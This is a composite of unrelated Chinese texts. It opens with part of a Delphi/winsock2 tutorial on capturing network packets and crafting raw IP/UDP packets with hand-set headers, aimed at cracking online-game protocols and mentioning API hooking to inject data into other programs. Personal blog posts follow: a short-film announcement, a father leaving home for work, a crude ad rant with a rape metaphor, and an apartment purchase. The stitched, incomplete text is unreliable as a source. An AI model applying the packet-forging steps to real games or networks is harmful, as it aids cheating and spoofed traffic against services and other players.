Type
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); ／／这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr))；

4)用WSAIoctl来注册WSA的输入输出组件，其用法如下：

INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
5)下面做死循环，在死循环块里，来实现数据的接收。但是徇环中间要用Sleep()做延时，不然程序会出错。
6)在循环块里，用recv函数来接收数据，recv函数用法如下：
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
)；
7)在buffer里就是我们接收回来的数据了，如果我们想要知道数据是什么地方发来的，那么，我们要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的是十六进制的数据需要转换一下。

看了封包捕获的全过程序，对你是不是有点起发，然而在这里要告诉大家的是封包的获得是很容易的，但是许多游戏的封包都是加密的，如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。


2003-6-7 23:17:38 在本章中，我们主要来研究一下封包的制作和发送，同样，我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1，winsock2需要自已封装一下，我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧：
首先，我们应该知道，封包是分两段的，一段是IP，一段是协议（TCP，UDP，其他协议），IP就像邮政编码一样，标识着你的这个封包是从哪里到哪里，而协议里记录着目标所要用到的包的格式及校验等，在网络游戏中的协议一般都是自已定义的，要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解，为了不影响现运行的网络游戏的安全，我在此会以UDP协议为例，介绍一下网络协议的封包与发送的全过程。
接下来，我们就可以开始看看整个封包全过程了：
1）我们要起动sock2，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
2）使用socket函数创建并得到socket句柄; 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
注意的是在我们的程序封包中饱含了IP包头，所以我们的Struct参数这里要传入的参数值为2，表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
3）使用setsockopt函数设置sock的选项; 用法如下：
INTEGER setsockopt(s: Integer,
level: Integer,
optname: Integer,
optval: PChar,
optlen: Integer
);
在S处传入的是Socket句柄，在本程序里level输入的值为0表示IP（如果是6表示TCP，17表示UDP等~），OptName里写入2，而optval的初始值填入1，optlen为optval的大小。
4）接下来我们要分几个步骤来实现构建封包：
1、把IP转换成sock地址，用inet_addr来转换。
Longint inet_addr(
cp: PChar
);
2、定义包的总大小、IP的版本信息为IP结构：
总包大小=IP头的大小+UDP头的大小+UDP消息的大小，
IP的版本，在此程序里定义为4，
3、填写IP包头的结构：
ip.ipverlen := IP的版本 shl 4;
ip.iptos := 0; // IP服务类型
ip.iptotallength := ; // 总包大小
ip.ipid := 0; // 唯一标识，一般设置为0
ip.ipoffset := 0; // 偏移字段
ip.ipttl := 128; // 超时时间
ip.ipprotocol := $11; // 定义协议
ip.ipchecksum := 0 ; // 检验总数
ip.ipsrcaddr := ; // 源地址
ip.ipdestaddr := ; // 目标地址
4、填写UDP包头的结构：
udp.srcportno := ; //源端口号
udp.dstportno := ; //目标端口号
udp.udplength := ; //UDP包的大小
udp.udpchecksum := ; //检验总数
5、把IP包头，UDP包头及消息，放入缓存。
6、定义远程信息：
remote.family := 2;
remote.port :=; //远程端口
remote.addr.addr :=; //远程地址

5）我们用SendTo发送封包，用法如下：
INTEGER sendto(s: Integer,
var Buf: Integer,
var len: Integer,
var flags: Integer,
var addrto: TSock_Addr;
tolen: Integer
);
在S处传入的是Socket句柄,Buf是刚刚建好的封包，len传入封包的总长度刚刚计算过了，flag是传入标记在这里我们设为0，addto发送到的目标地址，在这里我们就传入remote就可以了，tolen写入的是remote的大小。

6）到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。

最后要说的是这种发送方式，只能发送完全被破解的网络协议，如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。

来源:胡戈官方网站 http://www.hugedv.com/

新片《007大战猪肉王子》发布！

这是我在07年末拍摄制作的短片，长约30分钟。讲的是猪肉王子（龚格尔饰演）到处抢肉，引发了混乱，FBI派出007（王家赫饰演）去捉拿猪肉王子的故事。

本片在六间房独家首发，并有普通和"高清"两种画质可以选择观看。“高清”不是指 HD ，而是说这个画质比传统的网络视频要好很多，已经超过了去年我的《007大战黑衣人》的下载版的效果。

观看地址：

http://6.cn/plist/149113/

如果看不了，说明需要下载播放器才能看，没关系，你就下载，然后安装，然后重起 IE ，就能看了。全屏播放时如果不流畅（在网络通畅的情况下），那么说明你的电脑速度不够，你可以关闭正在运行的其他程序试试看。

如果还是不行，那么就看“低画质/高速”版本：http://6.cn/plist/149111/

一些拍摄花絮：http://6.cn/plist/151045/

另外 这里 有部份工作照片。

今天早上打老爸打电话时，老爸说他要去福建那么打工了，我幺姑幺爸都在那边，本来父亲在老家做好好的，去年在二爹手下做活（二爹是个小包工头），因为工资的事，年初有一些争吵，老爸给我说，人家都是按55元/天算的，他是50元/天，他觉得不公平。于是跟二爹有了一些争吵，今年就不去二爹那里做了，准备去福建打工。

老爸这辈子也没有出远门，最远就算98年了吧，送我来成都读书。平时基本上都在老家做建筑活，一边做一边照顾家里，现在如果老爸真的去福建的话，就只剩我妈在家了，听老爸要去福建，婆婆还在哭。

唉。。。老爸也想为家里出力，其实去外面打工比在家里还赚的多些，但是在外面打工就不像在家里，父亲快51岁了，还去那么远的地方打工，心里酸酸的，今天晚上再给他打个电话，详细问一下，必竟也那么大岁数了，外面的钱也不是那么好赚的，希望父母身体健康，一切都好！

注:文章来源于来自广东省深圳市的匿名人士

恒—源—祥！十年前您开创中国广告界三遍连播的创意先河，于是引领多年来中国广告界事不过三的啰嗦传统

我们从一开始错怪电视机音响的土冒表现到现如今的坦然接受[强奸久了自然就习惯了]；

何况连续数年的“今年过节不收礼”等一系列脑残创意锤炼出国人钢铁般的意志，我们以为已然百毒不侵——被男人“挺”过，被“妇炎洁”洗过，被“谁用谁知道”忽悠过，被“你好我也好”YY过，被姚明“还我可乐”汗过…………

我们真的很好忍坚强了，可是就是在昨天晚上，我在朦胧睡意下意淫自己人生，您突然禁止的画面，让我错以为时间定格，音量不断调大之后，我彻底的睡不着了！！

我从虎听到羊……我们家电视机卡机？秀逗？我冒着寒意起身敲打我不争气的电视机，画面依旧静止……画面陆续蹦出羊 猴 鸡……

上帝！中毒了？在这个瞬间我以为自己是在电脑旁，我浆糊的脑袋一片空白，最后一声嚎叫——猪！猪！！猪！！之后。

我彻底被激怒了，病毒你在侮辱我，还在强奸我的智商！我抓狂了……疯狂寻找鼠标准备格式化……画面突然正常了，东方卫视？！

我，穿着裤衩，以趴的姿势定格在床头……刚才是场噩梦吗？

这一夜 无眠…………

次日您在我渴求真相的急迫心情下，彪然再至，我彻底的无语了，您的创意屎无前例，我终于明白什么是叫做返璞归真！什么叫做锲而不舍！

您继往开来，继十年前牛逼三下后暴力升级，给我们带来最彪悍最极端的视听猛感！！

不过我善意的担心奥组委会起诉您吗？

无论如何，我将永远捍卫您的伟大！！

激情的建议，下次创意直接用水浒人物吧！

春节大假后刚上两天班，又放周末真是爽歪歪。周末爱民给我联系了一个二手房，在双庆中学那里。几年前我们还去双庆同学考试过，爱民是我的同学，但是这次去那边的时候，全变了，坐车居然走错过了很长一截，只好坐个三轮车再调头回来。路过河边看到一个新楼盘“水岸华庭”（其实老早就听说过了，就在沙河旁边，离塔子山很近，元旦节的时候我送陆大炮回家后，我就一个人沿着沙河向上走，欣赏了河边好多风景，现在沙河整治以后，不再是以前的沙河了，现在很漂亮）。

跟爱民去看了那个二手房后，看起来还可以，就是房子有点旧，96年的房，33。8万，平均下来每个平方也要5400左右，贵啊，NND，二手都那么贵。然后我顺着河边玩了一会，去“水岸华庭”了解了一下，觉得周围环境还可以，面积还比较合适，结果我们以迅雷不及掩耳之势，定了房，交了2万定金，这周去签合同，总的来说，74平方米的大小，完全够一家人住了，那个房子有一个书房，到时可以改成套三的，即使家里人来了，也住的下，有两个生活阳台，也麻大了，以后就可以任我尽情发挥了，种点花草就是我最大的愿望。

水岸华庭总共有7栋房子，共有28层，我们定的那个房在24层，高的很哦，我一个同事跟我开玩笑说“你们都是高层人士”，哈哈哈。。。我喜欢住高一点，可以吸天地之灵气，享日月之精华。最大的不好是要明年年底才会交房，够等哦。。。这个周末或下周末就要去把首付款付了，然后就是签合同，然后就是银行按揭供房了，唉，买房把我整空了，以后要节约，节约，再节约咯，还欠了几万块的外债，以后发了工资都要详细按排了，首先是还欠的钱，月供，生活费，房租费，恐怕再想去外面搓两顿，看场电影就有点恼火了。

总的来说，还是比较高兴的，虽然现在成房奴了，但是心里还是欢喜，至少我买房了，虽然还要等一年多时间，正好先还债，然后赚点装修费，明年收房后好装修房子，今年的压力大了，所以我要更加努力咯，努力，努力，再努力！！争取再创辉煌，更上一层楼！！